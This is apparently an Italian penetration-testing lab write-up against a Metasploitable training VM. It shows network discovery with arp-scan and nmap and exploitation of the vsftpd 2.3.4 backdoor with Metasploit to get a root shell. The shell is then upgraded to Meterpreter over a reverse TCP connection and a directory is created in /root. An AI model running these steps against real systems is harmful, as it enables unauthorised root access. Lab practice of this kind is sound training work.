

Pratica S7L1

Data la traccia individuo la macchina connessa alla rete e la scannerizzo con nmap

```

$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:22:30:ef, IPv4: 192.168.1.148
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1    d4:35:1d:81:1a:4b    (Unknown)
192.168.1.149  08:00:27:3e:5d:c6    (Unknown)
192.168.1.202  08:00:27:e3:da:f4    (Unknown)
192.168.1.223  30:03:c8:37:34:1f    (Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.873 seconds (136.68 hosts/sec). 4 responded

(kali@kali)-[~]
$ nmap -sV -O -T5 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-16 14:18 CET
Nmap scan report for 192.168.1.149
Host is up (0.0029s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  shell?
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql?
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8180/tcp  open  unknown
MAC Address: 08:00:27:3E:5D:C6 (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 2.6.31 (97%), Linux 2.6.9 - 2.6.24 (97%), Linux 2.6.9 - 2.6.30 (97%), Linux 2.6.9 - 2.6.33 (97%), Linux 2.6.13 - 2.6.32 (97%), Linu
x 2.6.18 - 2.6.32 (96%), Linux 2.6.21 (96%), Linux 2.6.22 (embedded, ARM) (96%), Linux 2.6.22 - 2.6.23 (96%), AVM FRITZ!Box FON WLAN 7240 WAP (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 190.08 seconds

```

Trovo il servizio vsftpd 2.3.4 e lancio metasploit per vedere se è vulnerabile

```

msf6 > search vsftpd

Matching Modules
=====
#  Name                                                                 Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232                                         2011-02-03     normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor                                 2011-07-03     excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

```

Su metasploit trovo un exploit disponibile per la versione della macchina bersaglio, lo seleziono e passo a configurarlo

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.1.149
rhost => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                                                                        |
| RHOSTS  | 192.168.1.149   | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.
```

Ora che è tutto pronto posso passare all'attacco

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads



| # | Name                      | Disclosure Date | Rank   | Check | Description                                        |
|---|---------------------------|-----------------|--------|-------|----------------------------------------------------|
| 0 | payload/cmd/unix/interact | .               | normal | No    | Unix Command, Interact with Established Connection |



msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.148:35421 → 192.168.1.149:6200) at 2024-12-16 14:30:00 +0100

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

Sono dentro!

Salvo la sessione e la converto per utilizzarla con meterpreter ed avere una visuale comandi più dettagliata

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions

Active sessions

=====
  Id  Name  Type  Information  Connection
  --  --
  1    shell cmd/unix  192.168.1.148:35421 → 192.168.1.149:6200 (192.168.1.149)

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.148:4433
[*] Sending stage (1017704 bytes) to 192.168.1.149
[*] Meterpreter session 2 opened (192.168.1.148:4433 → 192.168.1.149:38124) at 2024-12-16 14:32:10 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions

Active sessions

=====
  Id  Name  Type  Information  Connection
  --  --
  1    shell cmd/unix  192.168.1.148:35421 → 192.168.1.149:6200 (192.168.1.149)
  2    meterpreter x86/linux root @ metasploitable.localdomain 192.168.1.148:4433 → 192.168.1.149:38124 (192.168.1.149)
```

Ora utilizzo meterpreter per creare la cartella all'interno della directory root

```
meterpreter > mkdir /root/test_metasploit
Creating directory: /root/test_metasploit
meterpreter > ls /root
Listing: /root

=====
Mode                Size      Type    Last modified          Name
-----
100600/rw-----    324     fil     2024-12-16 14:17:17 +0100 .Xauthority
020666/rw-rw-rw-      0     cha     2010-03-17 00:01:07 +0100 .bash_history
100644/rw-r--r--    2227     fil     2007-10-20 13:51:33 +0200 .bashrc
040700/rwx-----    4096     dir     2012-05-20 21:08:17 +0200 .config
040700/rwx-----    4096     dir     2012-05-20 21:13:12 +0200 .filezilla
040755/rwxr-xr-x    4096     dir     2024-12-16 14:17:18 +0100 .fluxbox
040700/rwx-----    4096     dir     2012-05-20 21:38:14 +0200 .gconf
040700/rwx-----    4096     dir     2012-05-20 21:40:31 +0200 .gconfd
040755/rwxr-xr-x    4096     dir     2012-05-20 21:09:04 +0200 .gstreamer-0.10
040700/rwx-----    4096     dir     2012-05-20 21:07:31 +0200 .mozilla
100644/rw-r--r--    141     fil     2007-10-20 13:51:33 +0200 .profile
040700/rwx-----    4096     dir     2012-05-20 21:11:16 +0200 .purple
100700/rwx-----      4     fil     2012-05-20 20:25:01 +0200 .rhosts
040755/rwxr-xr-x    4096     dir     2012-05-20 20:21:50 +0200 .ssh
040700/rwx-----    4096     dir     2024-12-16 14:17:17 +0100 .vnc
040755/rwxr-xr-x    4096     dir     2012-05-20 21:08:16 +0200 Desktop
100700/rwx-----    401     fil     2012-05-20 21:55:53 +0200 reset_logs.sh
040700/rwx-----    4096     dir     2024-12-16 14:25:46 +0100 test_metasploit
100644/rw-r--r--    138     fil     2024-12-16 14:17:18 +0100 vnc.log
```